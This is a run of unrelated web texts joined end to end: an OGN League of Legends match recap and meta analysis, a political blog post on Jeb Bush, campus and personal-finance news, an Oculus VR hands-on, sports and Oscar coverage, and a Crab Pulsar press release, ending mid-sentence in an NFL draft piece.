turned and killed Impact. Bengi and Faker used the distraction to take mid turret. Blaze’s duo lane remained top to keep the 2v2 matchup while Flame rotated to bottom against Impact. Skirmishes broke out in all 3 lanes, resulting in another kill for each team and Ambition taking mid turret. As dragon respawned, SKTK grouped in the bottom river and secured it at 20 minutes without contest. Blaze grouped top with Flame teleporting in to siege top turret but were repelled by SKTK. Upon respawn, both teams grouped at dragon. Blaze managed to kill Impact then secured their third dragon. Blaze then roamed top, killing Impact again under his turret and taking 2nd top turret before being driven away. Blazed recalled and SKTK started Baron while top lane pushed. Top turret fell to minions and SKTK left Baron, rotating into Blaze’s blue jungle and forcing them to take the long way around while they took the 2nd top turret. SKTK engaged as the turret fell. During a prolonged fight, SKTK took the top inhibitor and a 2/1 teamfight. Blaze pursued as SKTK backed off, preventing them from recalling and then rotating to Baron to take it while SKTK was too low to contest. Blaze them moved to dragon and secured that as well, obtaining a gold lead. Despite the active Baron buff on Blaze, SKTK immediately pushed down mid lane and took the 2nd mid turret, making the gold almost dead even at 35 minutes. After Baron buff expired, SKTK began sieging mid lane once again. Blaze engaged, both teams becoming very low and backing off without any kills. Baron respawned and both teams began vying for vision in the river, SKTK securing dragon and Flame split pushing bottom during the contest. SKTK grouped mid and almost destroyed the mid inhibitor turret before Blaze repelled them as SKTK’s 2nd bottom turret dropped to minions. Impact was forced to return to base to deal with the huge minion waves pushing in the side lanes and Blaze started Baron. Impact rushed back and SKTK engaged in Baron pit. Bengi stole Baron and SKTK won the teamfight 3/2. SKTK pushed mid, scored another kill, and took mid and top inhibitors. With top and mid pushing, SKTK grouped bottom at 45 minutes and took the bottom mid and inhibitor turrets, losing Impact to Blaze during the conflict. SKTK backed off and took another dragon. Blaze’s inhibitors respawned and SKTK returned bottom. Blaze engaged once again. SKTK won the fight 1/0 then took the bottom and mid inhibitors. SKTK backed yet again and Baron respawned. SKTK stood in Baron pit while mid and bottom pushed. Blaze was forced to return to defend and SKTK tok Baron for free at 51 minutes. SKTK took top inhibitor and Blaze engaged. SKTK won the fight 5/1 and took the Nexus at 52 minutes. Samsung Galaxy Blue vs Incredible Miracle #2 Match 1 IM#2 Picks: Mundo, Elise, Gragas, Vayne, Annie IM#2 Bans: Lucian, Riven, Sivir Blue Picks: Rengar, Lee Sin, Orianna, Twitch, Karma Blue Bans: Nidalee, Olaf, Syndra IM#2’s duo lane hid to the top bush with PLL to ambush Acorn as he came into lane, forcing out his flash when he went to check the bush. PLL then teleported bottom to make 2v1 lanes with IM#2 in top lane. Spirit took both his buffs then moved top to support Acorn in lane while Reign over stole his jungle then ganked mid to give Kuro first blood at 4 minutes. Blue engaged top, trading Acorn for Ondal 1/1. Blue engaged top once again at 6 minutes, taking a 2/1 trade while their duo lane killed PLL bottom. Spirit roamed down and took the first dragon with Blues duo lane. At 10 minutes IM#2 took top turret while Spirit ganked bottom, scoring another kill on PLL and taking bottom turret for Blue. With the side towers down, IM#2’s duo lane rotated bottom and Blue’s duo rotated mid. IM#2 attempted to group invade and steal red at 13 minutes but Blue responded, winning a 2/1 teamfight. IM#2 took bottom turret then both teams moved to dragon at 14 minutes. Blue engaged as IM#2 began the objective. IM#2 took the dragon, but Blue took a 5/3 teamfight. The stream became intermittent at this point. From here in it is only what I could piece together. At 21 minutes IM#2 grouped mid and attempted to take mid turret. Blue engaged, resulting in a 1/1 teamfight then a re engagement and another 1/1 trade. At some point afterward Blue took mid turret. At 29 minutes IM#2 attempted Baron. Blue engaged in Baron pit but IM#2 took the teamfight 5/0 and Baron. IM#2 then pushed in to take the mid turret. AT 31 minutes IM#2 pushed in top while PLL split bottom. IM#2 took 2nd top turret and engaged. Although Blue came away from the fight 1/0, they were all forced to back and IM#2 took a Nexus turret. At 36 minutes IM#2 engaged on Blue, winning a 4/3 teamfight. IM#2 attempted Baron but PawN stole the buff At 39 minutes IM#2 engaged on Blue in their base, taking a 4/0 teamfight and the Nexus. Match 2 Blue Picks: Rengar, Elise, Katarina, Caitlyn, Thresh Blue Bans: Olaf, Annie, Vayne IM#2 Picks: Riven, Evelynn, Syndra, Ezreal, Tariic IM#2 Bans: Lucian, Sivir. Orianna IM#2 started by giving blue to Kuro while Reign over took red. They then invaded Blue’s blue jungle with 4 members and took first blood on Acorn. IM#2 then moved their duo lane to top to make 2v1 lanes. Deft remained bottom to solo lane against PLL while Heart roamed mid with Spirit. Together with PawN they killed Kuro and gave blue buff to PawN. Reign over ganked bottom twice, the 2nd time resulting in a 1/1 trade. At 6 minutes Spirit ganked mid again and gave another kill to PawN. Acorn roamed at level 6 and ganked mid, taking Kuro very low. When Kuro didn’t back, Blue used the advantage to take the first dragon at 9 minutes. Reign over ganked bottom yet again at 10 minutes. Spirit counter ganked and the fight ended in a 1/1 trade when BenKyo killed Deft with his ultimate from across the map. Despite an even trade, Blue forced Reign over back and took bottom turret. IM#2 grouped mid and pushed, forcing Blue to defend. BenKyo almost took top turret while Blue was on the defense but Blue roamed top, killed BenKyo, and took top turret for a 2/0 turret score at 15 minutes. IM#2 moved to dragon and Blue engaged on them. IM#2 took the dragon but Blue won the following teamfight 3/2. Blue scored another pick on PLL in top lane then grouped mid, catching and killing Reign over before taking mid turret at 18 minutes. Acorn pushed top, PawN mid, and the rest of blue bottom until dragon respawned at 21 minutes. Blue’s bottom lane backed to dragon and took their second dragon unopposed. Blue rotated top and attempted to get a pick in IM#2’s red jungle. IM#2 took the fight 2/0 and quickly secured mid turret with their number advantage. Blue grouped mid again at 27 minutes, diving IM#2 for a 3/1 teamfight and taking 2nd mid turret. Blue then moved to dragon and began taking it. The remaining 2 members of IM#2 attempted to interfere but Blue took the dragon and killed them both for a delayed ace. Both teams grouped mid and Blue engaged and came out of the fight 5/0 and took mid inhibitor then retreated to Baron and took it before IM#2 could reach them. After recalling, Blue group bottom lane, taking the 2nd turret uncontested. Blue unsuccessfully dove IM#2 under turret, losing PawN, but managed to destroy the bottom inhibitor turret. They then backed and took their third dragon at 35 minutes. Blue returned mid and took both exposed inhibitors then fought IM#2, resulting in no kills. After backing, Blue and IM#2 moved to the newly respawned Baron. Blue waited until the super minions were on the IM#2’s Nexus turrets before starting. Half of IM#2 backed and Blue secured the buff. Blue pushed in, took a 4/1 teamfight, and claimed the Nexus. Group Standings Group A Team W/T/L Points SK Telecom T1 K 3/0/0 9 SK Telecom T1 S 1/1/1 4 CJ Entus Blaze 0/1/1 1 Team NB 0/0/2 0 Group B Team W/T/L Points KT Rolster Bullets 1/1/0 4 Samsung Galaxy Blue 0/3/0 3 Najin Black Sword 0/2/1 2 Incredible Miracle #2 0/2/0 2 Group C Team W/T/L Points Samsing Galaxy Ozone 2/0/0 6 NaJin White Shield 1/0/0 3 Alienware Arena 1/0/1 3 Team Dark 0/0/3 0 Group D Team W/T/L Points CJ Entus Frost 1/1/0 4 Xenics Storm 1/0/0 3 JINAIR Greenwings Falcons 0/2/1 2 JINAIR Greenwings Stealths 0/1/1 1 (Click the present to find out what it is!) Trends First and foremost, Team Dark was disqualified from OGN Winter since the last article based on their last game vs Ozone in the previous week. As a result, Alienware is automatically considered to have gone 2/0 against them in their scheduled match. Patch 3.14 was introduced into OGN this week and with it we see some huge shifts in the game. Siege compositions have dropped and split push and teamfight compositions have made their triumphant return. Some new champions have also made it into the upper echelons of pick and ban which I will be going over. Olaf and Syndra were both reintroduced into gameplay, their bugs having been corrected with the latest patch. Both had extremely high priority in week 1 with 100% and 83% pick ban ratios. Olaf came back in very strong with an 80% pick/ban this week, placing him at 91% overall and maintaining a respectable 60% win ratio after doubling his number of games played. Syndra had a less impressive return with a 60% pick/ban, putting her at 73% overall. This probably shouldn’t come as much of a surprise since her win total remains 0% after quadrupling her games played. With the new patch come in some crazy pick/ban numbers for a few champions who were unpicked until this week. Sivir came out the strongest with 100% pick ban and 100% win ratio (although she was only let through for a single game). This comes as no surprise as her update makes her extremely slippery and gives her insane waveclear, perfect for the Korean split push meta. Coming in at a close 2nd was Rengar with a 90% pick/ban, although his in game performance was less impressive (if a bit more informative) at a 50% win/loss over 6 games. He came in as a bit of a surprise despite the large amount of play he has been seeing on the solo queue scene. It seems most of the pro teams love to have him roam the moment he hits 6, trying to gank other lanes with his ultimate. Tying for 3rd of the newcomers are Taric, Mundo, and Evelyn all at 70% pick/ban. Among these priority picks, Mundo was the surprising champion with a 75% win ratio over 4 games. Next was Taric with a 50% win ratio across 6 games. Finally Evelynn made it through only 2 games and came out with a 50% win ratio. Taric saw a huge buff with 3.14 which gives him great scaling and the ability to absolutlely destroy a lane opponent by shredding their armor and letting his marksman melt them. The vision changes have made an Evelynn an absolute terror. Mundo was a surprise hit and a huge success. Although there were no direct changes to him, the new defensive masteries have made him nearly unkillable and make him a real pain at all stages of the game. Among the old guard, Elise remains the queen of the pick/ban phase. Still 100% pick/ban three weeks into the season. Although her pick number have been impressive, she did have a rough week on Summoner’s Rift, dropping from a 90% to a 76% win ratio. Behind the Queen, Lucian remains the prince. After this week he actually shows a small increase in his numbers, rising from 96% to 97% pick/ban and bringing his abysmal 31% to 33%. Annie remains on the top of the charts as well, dropping ever so slightly to a 94% pick/ban while maintaining her 50% win ratio. Behind her is Lee Sin despite dropping 7% to an 85% pick/ban and losing a bit of his Rift cred by coming perilously close to 50/50 with his 53% win ratio. Behind Lee is Nid, the new patch and her nerfs throwing her numbers in the dumpster. Nidalee dropped 20% in pick/ban to now sit at 76% pick/ban despite taking her win ratio from 33% to 60% this week. Also suffering is Shyvana, her pick/ban continuing its descent at 56% and her win ratio following right after to 57% Everyones favorite mid matchup showed up a few more times this week after a dip in week 2. Orianna vs Gragas has now shown up in 18% of all games this season. Orianna came back from a devastating first week and is now 4-2 against Gragas. It looks like the patch hasn’t affected their priority, we will see if Gragas can make a comeback before we hit the Round of 8. -2.2k SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard In a Sunday interview with CBS’ Bob Schieffer, GOP presidential hopeful Jeb Bush credited his brother George W. Bush with keeping America safe and “protecting the homeland”. Jeb said he learned from his brother’s ”success” at protecting the homeland. Schieffer asked Jeb Bush pointedly about his brother: What do you think you learned from him, successes and mistakes? Jeb responded by saying: Well, the successes clearly are protecting the homeland. We were under attack, and he brought — he unified the country and he showed dogged determination. And he kept us safe. Of course in arguing that his brother kept America safe, Jeb is rather conveniently glossing over the September 11, 2001 terrorist attacks. Rather than protecting the homeland, George W. Bush presided over the worst terrorist attacks in history on U.S. soil. However, instead of acknowledging that intelligence failures while his brother was in the White House made America less safe, Jeb instead tries to pretend that his brother’s presidency began on September 12, 2001. This way he can argue that George W. Bush heroically rescued America from the terrorists and made us safe, while ignoring that it was the Bush White House that was in charge when the twin towers and the Pentagon were attacked by terrorists. Republican revisionists have long tried to argue that George W. Bush kept America safe, by conveniently ignoring the September 11, 2001 terrorist attacks. For example, in January 2010, former New York City Mayor Rudy Giuliani astonishingly claimed that America “had no domestic attacks” under President George W. Bush. Somehow Mayor Giuliani’s partisan amnesia made him completely forget that terrorists had launched an attack on his city, under George W. Bush’s watch, killing nearly 3,000 people and knocking down the twin towers of the iconic World Trade Center. Giuliani was the mayor of New York City at the time. He probably should have remembered that day, but apparently it slipped his mind, while he was comparing Bush’s record to Obama’s record on preventing terrorism. Republicans are in such deep denial about the failures of the George W. Bush administration, that they have created a mythology surrounding the former president, recasting him as a courageous hero who protected the homeland from all acts of terrorism. The myth is so deeply internalized that Republicans choose not to even remember 9/11 as occurring during those Bush years. If Jeb Bush thinks George W. Bush’s greatest success is protecting Americans from terrorism, he has set the bar very low. In that case, Jeb Bush, like his brother, is not fit to be President of the United States. If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human: -Flight will replace TUr Door and Owl Loop, and be usable through a smartphone app. Temple Student Government is working with Facilities and Campus Safety to launch a brand new bus service on Main Campus. The new service, called Flight, will replace the current systems of TUr Door and Owl Loop. Flight is free and will operate in the same service area as TUr Door—from Cumberland to Girard streets, and 5th to 20th streets. The 5:30 p.m. to 6 a.m. operating times will also remain the same. The main difference between Flight and TUr Door and Owl Loop is Flight will up pick students from their residences, whereas the old services would just drop them off. Students can request the bus to pick them up by typing in their address to an app called TapRide. “TapRide will allow you to go in and demand a car just like Uber,” Student Body President Ryan Rinaldi said. “You go in and select where you want to go and it’ll take you there,” “They’ll even send you a text when the bus is outside your door.” With Flight in place, TUr Door and Owl Loop have been disbanded and are no longer operating. Both of those systems were ineffective, officials said. “When the current model [TUr Door and Owl Loop] was implemented in 2010, ridership was averaging close to 3,000 rides per week. The ridership today is almost down 33 percent,” facilities superintendent Mark Gottlieb said. “It didn’t drop precipitously, it’s been an incremental drop in ridership.” When Rinaldi was writing his platform in early 2015, he said he spoke with students who recognized the lack of transportation back to campus as a problem. “When Eric [Hamilton, TSG’s chief of staff] and I were writing part of our platform, it seemed that there was a problem with the current TUr Door and OwlLoop because students wanted to come back to campus and there was nothing to bring you back,” Rinaldi said. There will be eight locations that will pick students up and drop them off on campus—Tyler School of Art, White Hall, Morgan Hall, Johnson and Hardwick, Fox School of Business, The Tech Center, the IBC and The Student Center. Students who live off-campus are looking forward to trying out the new service. “When I go to the Tech I make a day out of it and I have to prepare myself to go, but if the shuttle picked me up I could go on a whim,” said sophomore media studies and production major Melissa Payavis. Payavis lives off-campus, on the 1500 block of Fontain St. The main reason why the new system was implemented is student safety. “We needed to find ways to get students to and from campus to keep students safe,” Rinaldi said. Sophomore advertising student Lauren Marks agreed safety is important on campus. “Things do happen on this campus just walking places and it’s been during the daytime and at night, so I think any way to get students off the streets is a good thing,” said Marks. Both Gottlieb and Rinaldi have high hopes for the service. “I would expect and would be disappointed if we didn’t have ridership of almost 3,000 riders per week immediately. We might even see 4,000 riders per week,” Gottlieb said. Rinaldi’s goals are more technically oriented than Gottlieb’s. He anticipates making the app accessible on Tech Center computers as well as putting a kiosk in the lobby to allow students to request rides there as well. “We’re also looking to add this to the Tech Center and have a desktop icon to request ride and also trying to get a kiosk in the tech center so people can stay inside while requesting a ride.” Flight is expected to begin service on Mar. 14. Jonathan Gilbert can be reached at jonathan.irwin.gilbert@temple.edu or on Twitter @jonnygilbs96. -Can mom afford to work only part-time? (MONEY Magazine) -- Shawn and Mary Kate DeRose live comfortably on a combined $133,000 income. They pay their debts, save for retirement, even have room to splurge on dinners out and high-end gym memberships. But the birth of their second child, Regan, in May has Mary Kate, 33, a literacy coach for a school district, thinking of dialing back to part-time work. "In a perfect world, I'd be able to spend more time with my girls," she says. Her employer will let her go half-time for half pay: $32,600. But is that enough -- along with the $78,000 that Shawn, 33, earns as an assistant principal -- to support their lifestyle? With a $3,600 monthly debt load that includes payments on a mortgage, home-equity loan, auto loan, and credit cards, their budget will be tight, warns Alexandria, Va., financial planner Tim Wesling. They'd need to cut debt by $500 a month and other expenses by $1,300, he says. That's more than the DeRoses had bargained for. "We really have to think about it," says Mary Kate. Their Goals 1. Meet current expenses on a smaller monthly income: $8,600 rather than $11,000. 2. Keep saving enough for retirement. Right now they have $7,500 in cash, $38,500 in retirement funds and $2,100 in college savings accounts. What They Must Do 1. Cut the debt. The DeRoses are paying 7.8% on a $63,000 home-equity loan. They could refinance and shave more than 2 percentage points off that rate, reducing their minimum payment by $200 a month. Wesling also wants them to nix the $300 a month they put on credit cards (for meals out, clothes, and the like). 2. Take the ax to expenses. The couple will save $500 a month on day care, but that still leaves them with $800 to cut. They might get rid of their older car and reduce costs across their budget to do it. 3. Keep saving. Shawn should continue stashing 10% of his income for retirement even as the couple trims elsewhere. As he gets raises, he should direct the cash to retirement and the home-equity loan. -dragon age has been one of my biggest inspirations and influences to get into fantasy art. without it, i would honestly think i would be doing something else. if i remember correctly the first character i painted digitally (never posted btw) was my warden from DAand my sketch for my art school entry exam was of hawke. i invested HOURS into the two games and totally got immersed in the lore. so i really owe bioware onemorrigan is probably my favorite character of the bunch because of the constant banter with allistair and the fact she's sarcastic all the timeuntil now i've been meaning to do some dragon age art but never really got around to it till now so here it ishope you like it! and sorry for the SEVERE lack of updates -Explore the Unexplored: Lakes, rivers, and oceans are still alive when the sun goes down. Reveal wildlife, plant-life, and otherwise hidden treasures in the dark and you'll soon discover a whole new world under the water. Safely navigate your route above water with the paddle's super-bright LEDs. A Torch Paddle illuminates your surroundings wherever you end up. Intuitive: We’ve designed our paddles to be user-friendly and ergonomic so that you’re comfortable with it from the moment you pick it up. Durable: Our paddles are built strong so that the LED lighting system is protected from all that Mother Nature has to throw at it. Fiber-reinforced nylon, carbon fiber, and an integrated design ensures that nothing will stop these paddles from doing their job. LEDs are built straight into the paddle inside the channels for protection. LIGHT UP YOUR NIGHT WITH TORCH PADDLES! designing from sketches to prototypes to testing in the water A little bit about Moab: Everyone has a second home and Moab happens to be ours. From jeeping to rock climbing to canyoneering and endless other activities, we've found our adult playground. Corona Arch is our swing set and just like our paddles, we've improved the design over the years so that its a flawless experience and not to mention very safe. We made a video a few years ago that shows what we like to do. (click the link) This is what some of our donors can have a chance of doing. http://youtu.be/4B36Lr0Unp4 -What does it mean to be present? It's knowing that when you’re sitting in your cubicle at work, crammed in the middle seat of an airplane, being entranced at a concert or working up a sweat at the gym that what you’re experiencing is real. It’s not a dream or trick, and reality’s realness is something we just take for granted. See also: Virtual Reality Is Ready to Manipulate Your Memories Presence is also the term most thrown around this weekend Oculus Connect, because it’s the concept so important to making virtual reality successful. "We went from trying to convince ourselves we’re there, to trying to convince ourselves we’re not there,” said Oculus VR CEO Brendan Iribe during his keynote address to a room of a thousand or so people, mostly developers currently working on virtual reality software of their own. But so far the Oculus Rift has remained a portal into another world that’s not quite transportive. The two different development kits, the second a big improvement over the first, have technical limitations that even the Oculus team admits pull you out of the experience. A stuttering display, low resolution and problems with motion tracking have kept VR from sucking us in. But on Saturday, I finally felt that presence inside a world that wasn't my own. And I can't stop thinking about the experience. Secrets in a Room The first thing about the Oculus Crescent Bay, the newest virtual reality headset prototype announced at Oculus Connect on Saturday, is that it takes a room to simulate. You aren't stuffed into an office chair — even though the Oculus team loves repeating, for liability reasons, that the Rift is a sitting experience. Instead, I stood on a square pad in the middle of an 8-by-8 room. I stared at a camera while the headset was lowered over my eyes. The first things you notice, immediately, is that this Oculus Rift is a lot lighter. The team said it has improved the design so the headset no longer feels bulky. The first version was hardly something you could see yourself wearing for an extended period of time, and while this is still bulky, it's less so. The second thing immediately apparent are the built-in headphones, which snapped over my ears. They looked cheap, like something from a call center headset, at first glance. This is the first time Oculus included audio to the Rift headset experience. I'm told to try to stay on the mat in the center of the room. Then the demo is switched on. Virtual reality may be amazing, but it still doesn't look cool. Here I am wearing the Crescent Bay prototype. Diving Into Crescent Bay A small dinosaur was looking right at me. It was undeniably a Tyrannosaurus Rex, miniaturized to a the size of a horse. It looked at me with its amber eyes and rolled its head about. Then it chuffed right in my face, steam rising from its nose. I could almost feel the heat of it. That T-Rex, spotlighted on a black field, felt more real than any dream. It was also crisper than anything on television. And, thanks to the Crescent Bay’s motion tracking, it saw me. Having such a powerful beast follow my gaze was chilling. It faded out, and was replaced by a new scene, an experience that happened several times ever. Describing each in long detail would probably be about as exciting as listening to someone monologue about their dreams, but here are some highlights: A gray-skinned alien sassed at me in a unearthly tongue. It too followed my every move. I leaned in, right in its face, and it leaned back to avoid me. Its dark, iridescent eyes followed me as it continued its brusque speech. Moving and crouching were things I wanted to do in each experience. The ability to walk in virtual reality made it feel far more real than sitting. A toy city sprawled in front of me. My first reaction was to lean in close, watching the cars zoom by. As I loomed above, I tried to peek into windows of skyscrapers, or follow the path of a train as it whipped around buildings. In a gilded, ornate room I became distracted with the furniture, only to raise my head to a mirror and notice a happy mask bobbing there. The mask moved and floated on a ephemeral figure, trapped there as I made it dance. I felt real vertigo when I found myself on top of a tall building in some near-future city. Looking over the edge to the streets below made the blood rush to my head, and made me remind myself it wasn't real. A second T-Rex, this one full-size, charged me. I instinctively crouched, then looked up to see his torso passing over me. Then I turned around quickly to watch him disappear into the darkness. These experiences were short and to the point, each designed to let you feel something brief and wondrous before snapping you to the next. There were no frame-rate issues, no pixelated display and no latency issues if you turned your head too quickly. It was a forward-looking vision on how powerful virtual reality really can be. Oculus VR would not release the specs of Crescent Bay, and said there are no plans to make this hardware available to developers. Instead, it represents a proof of concept for the consumer version, which still doesn't have a release date. The company has confirmed this is the final update it will release before the consumer Oculus Rift though. The attendees were thrown headfirst into a deeper virtual reality experience than we've ever seen. It's like Oculus VR's staff intended us to go out and proselytize its power, which is hard to describe beyond, "you're going to have to try it yourself." -The two-time FIFA World Player of the Year and 2002 World Cup winner is a free agent after parting company with Fluminense in September, and intermediaries in Australia are scrambling to pull off what would be the biggest coup in the competition’s 11-year history. Behind the scenes negotiations are underway to bring the 35 year-old showman for a guest stint of up to 14 games from 29 January onwards, as Ronaldinho also fields offers from Swiss club Sion and teams in Turkey. Sydney-based Milton Da Rocha, from Demanly Management, is working with Sergio Bastos from the Flash Forward agency to lure Ronaldinho to a competition devoid of star power and crying out for a marquee magician. “I would suggest that if a good offer is placed in front of him, he might well be inclined to take it very seriously,” said Da Rocha, who has been in discussions with Ronaldinho’s management team. “The conversation we had with them when I was in Brazil recently centred on the fact that if the offer is right we can have a genuine discussion and negotiate. “We are looking to create a collaboration between a club and some corporate entities to make this happen. There is great benefit financially to having him on board in terms of the crowds he would generate and also around his image because of the huge social media interest he generates. “There is a level of interest from clubs in the big cities of Melbourne and Sydney, but nothing is concrete as yet. “I am hoping to have something on paper soon to present to his management. The opportunity is there for him to play from round 17 of the A-League all the way to the finals. “We are trying to come up with an offer which is closely related to his recent previous salaries.” Ronaldinho has floated from Flamengo, to Atletico Mineiro to Queratero in Mexico since departing AC Milan - where he spent three years - and is currently in Kuwait as one of the key attractions on the Football Champions Tour, which showcases legend matches around the globe. His capture would trump even the acquisitions by Sydney FC of fading luminary Alessandro Del Piero and that of Dwight Yoke, and would put thousands on to gates, with the Sydney or Melbourne markets his natural destinations. “The point is he can still deliver on the pitch,” added Da Rocha. “He doesn’t need to train like normal players; he operates a lot on his natural talent.” Ronaldinho’s aura remains undimmed, with tens of millions of followers on social media where each post generates on average over 120,000 likes through Twitter and Instagram. The A-League has just 120,000 Twitter followers and some 40,000 on Instagram. “If he lands here it would be unbelievable … he’s been in Singapore and China recently (promoting the sale of kids’ scooter) and it’s like a Michael Jackson arrival. “It goes crazy at airports and for the A-League it would a massive thing. It would be like bringing Roger Federer here in five years to play tennis." -Oscar night is days away. Presumably the Stonecutters are just about done rigging it, so let’s lay out our best predictions for who’s going to go home with statuettes. Here’s how we figure this: Unlike presidential elections, there’s no clear-cut way to predict the Oscar winners. Betting markets are probably your best bet. But there are a dozen or so lesser awards — including the Golden Globes, Writers Guild Awards, and Satellite Awards — that precede the big dance, and we can use these as quasi-polls. For example, the winner of the Directors Guild of America award for best director usually wins the Oscar for best director. And just as our presidential model gives more weight to surveys conducted by pollsters who have a good track record, I turned the 25-year accuracy rate for each of these award shows into scores, prioritizing awards by organizations whose voting members aligned with the members of the Academy (actors and directors, for instance) : The result? We add up the scores for the winners, assign partial credit for nominees, and voila! Here’s the state of the best picture race: It’s pretty tight. Sometimes — such as in the 2012 race — there’s an overwhelming front-runner. Not this time. “Boyhood” took home top honors at a lot of the reasonably predictive awards — Golden Globes (drama), BAFTAs, several critics groups — but “Birdman” took home the gold when it really counted, at the Directors Guild, Producers Guild, and Screen Actors Guild award shows. As a result, “Birdman” is the slight favorite to win, mostly based on the historical predictive rate of the guild award shows. This category is the only one we measured in which the model splits from the prevailing wisdom of the (generally reliable) betting markets. On the Hollywood Stock Exchange (HSX), one such market, options on “Boyhood” are substantially out-pricing options on “Birdman.” Also seeing some love at HSX is “American Sniper,” which was excluded from basically every other award show. Upsets do happen with some regularity, and given the film’s recent box office success, it may be a dark horse in the race. But personally, I’m going with “Birdman.” I wouldn’t be shocked if the actors, writers and producers of the Academy find it in themselves to give the Oscar to a film about an actor-writer-producer putting on a play. Of the other five top honors at the Oscars — best director, best actor, best actress, best supporting actor and best supporting actress — only two are truly competitive this year. The first is best director, another “Birdman” versus “Boyhood” fight: Sure, Wes Anderson has a fighting chance here, but this is another category in which Richard Linklater got the vast majority of the wins in earlier awards, but Alejandro G. Iñárritu got the one that counts, the Directors Guild award. In the past 25 years, the winner of the Directors Guild award for best director of a feature film won the Oscar for best director 84 percent of the time. Still, the sheer number of wins puts Linklater ahead here, and betting markets agree with the model that Linklater has an edge. Finally, to break up the tedium, we get Eddie Redmayne leading the pack for best actor. This is the last category in which it’s even close to a fight. Redmayne has been scooping up awards left and right for his portrayal of Stephen Hawking. Redmayne took home the heavily predictive BAFTA, Screen Actors Guild, and Golden Globe (drama) awards for best actor. And while Michael Keaton has done well among critics, Redmayne appears to have a substantial lead. There’s consensus in the other categories. Julianne Moore has all but swept the best actress categories in any awards show worth a damn. While Marion Cotillard grabbed the New York Film Critics Circle award, Moore won in everything else she was a contender for. J.K. Simmons — who dominated in “Whiplash,” my personal favorite best picture nominee — also nearly pulled off a sweep, but the National Board of Review gave Edward Norton its best supporting actor award. Not quite my tempo. Patricia Arquette is the only best supporting actress nominee to win any of the awards we track. She’s the odds-on favorite for her part in “Boyhood.” The good news? This year, the most exciting awards will be saved for the very end of the Oscars presentation. There’s always an opportunity for an upset, though. Next up, I’ll see just how likely we are to get a surprise. -Powerhouse crab pulsar MAGIC telescopes detect extremely energetic photons The Crab Pulsar has set a new record: it is sending out the most energetic light radiation that has ever been measured from a star. This observation could challenge our current understanding of pulsars. Moreover, a new mechanism, little understood up to now, appears to play a role in accelerating the particles to such high energies. These findings were reported by a research team associated with the MAGIC telescopes. Bundle of energy: with its strong magnetic field (white lines), the Crab Pulsar spins around itself nearly 30 times per second injecting energetic electrons in the space region around it. The green and blue shaded regions depict different particle acceleration zones from where the detected photons could originate. The green zone lies in the vicinity of the pulsar's magnetosphere, whereas the blue zone could be as far as 100,000 km away from the pulsar. © Patricia Carcelén Marco Bundle of energy: with its strong magnetic field (white lines), the Crab Pulsar spins around itself nearly 30 times per second injecting energetic electrons in the space region around it. The green and blue shaded regions depict different particle acceleration zones from where the detected photons could originate. The green zone lies in the vicinity of the pulsar's magnetosphere, whereas the blue zone could be as far as 100,000 km away from the pulsar. © Patricia Carcelén Marco The Crab Nebula is the remnant of a supernova explosion that was observed on Earth in the year 1054. The neutron star has a diameter of just around ten kilometers and rotates around its own axis approximately 30 times per second. Thus, it emits light pulses like a lighthouse, and these pulses stretch across the entire electromagnetic spectrum — from long radio waves to visible light and beyond, to the short waves of energetic gamma rays. Magnetic fields: Dynamo for light energy With the help of the MAGIC telescopes, scientists have discovered photons — that is, particles of light — with energy many times higher than what has been seen before. Until just a few years ago, the highest energy observable from the Crab Pulsar was thought to be at 6 GeV (gigaelectronvolts). In 2008, the MAGIC telescopes recorded an energy spectrum of more than 25 GeV. The observatory trumped its own result in 2012 with measurements of 400 GeV. Since then, MAGIC has measured gamma rays up to 1.5 TeV (teraelectronvolts). However, the researchers are not yet able to explain how the charged particles are accelerated to these extremely high energies. “In the production of high-energy particles, a central role is played by the enormously strong magnetic field typical for neutron stars, which generates extremely strong electrical fields,” says Razmik Mirzoyan, speaker of the MAGIC collaboration and project leader at the Max Planck Institute for Physics. “In the magnetically charged, complex atmosphere of the neutron star, electrons and their antiparticles, the positrons, are accelerated to nearly the speed of light before they annihilate each other. In this model, gamma ray energies up to a few gigaelectronvolts can be explained as synchrotron and curvature radiation. To account for the gamma pulses of more than 1.5 TeV that have now been observed, however, there must be another mechanism. Where on the neutron star is the highly energetic radiation produced? Mirzoyan elaborates: “We can only observe extremely energetic gamma rays if these electrons somehow succeed in escaping the complex topology of the neutron star’s magnetic field and accelerating themselves in the electric field. Then they join together with the lower-energy radio waves and X-rays to form the pulsar’s cone of light.” For the “escape” of the gamma rays, an indirect path is considered a possibility: In this process, it is the electrons and positrons emerging directly from the pulsar that escape, but rather the second or third generation of their accelerated “offspring.” These arise at the outermost edge of the magnetic field, at a height of approximately 1500 kilometers. Here, simply put, energy-rich charged particles interact with ultraviolet radiation and X-rays as well as with the magnetic field. Subsequently, the secondary particles transfer their energy to lower-energy photons, thereby transforming them into highly energetic gamma quanta — which then exit the magnetic field. This energy transfer is known as the inverse Compton mechanism. By means of the inverse Compton effect, gamma photons could also form far away from the pulsar, in the pulsar wind region — where, likewise, the accelerated particles can encounter X-rays. However, the extreme gamma rays arrive at the MAGIC telescopes simultaneously with lower-energy radio waves and X-rays — indicating that they are produced within the magnetic field. “That would mean that all of the radiation is produced in a relatively small region at the edge of the magnetic field, or that the high-energy gamma rays retain a kind of ‘memory’ of radiation at lower energy. At this point in time we can hypothesize that the inverse Compton mechanism is capable of explaining the existence of such energy-rich gamma rays from the pulsar. In the long run, however, we need new, detailed theoretical models that describe this phenomenon,” Mirzoyan concludes. BW / HOR -Justin K. Aller/Getty Images After suffering through the worst season in franchise history, the Jacksonville Jaguars will have a fresh start in 2013. It includes a new general manager, new head coach, new logo and new uniforms. It may even include a new quarterback. General manager David Caldwell said the Jaguars will have a "wide-open competition" (per Gregg Rosenthal of NFL.com) at quarterback and will add players (via Alex Marvez of Fox Sports) to compete at the position. Jacksonville could be looking at its quarterback of the future with the No. 2 overall pick in West Virginia's Geno Smith. The franchise has a preliminary interest (per Peter King of Sports Illustrated) in Smith, and head coach Gus Bradley said he was impressed (via Ryan O'Halloran of The Florida Times-Union) with what he saw from the quarterback at West Virginia's pro day. It's easy to see why Bradley was singing Smith's praises: He had an outstanding pro day as he completed 60 of 64 passes while showing off his accuracy and mobility. Of course, all of this interest could be a smokescreen to try to lure quarterback-hungry teams into a draft-day trade. If it's genuine, however, the Jaguars have a major question to ask themselves: Is Smith the first piece to their rebuilding puzzle? If he is, Jacksonville has to consider him with the No. 2 overall pick. Smith is widely considered the top quarterback, but is he worthy of the 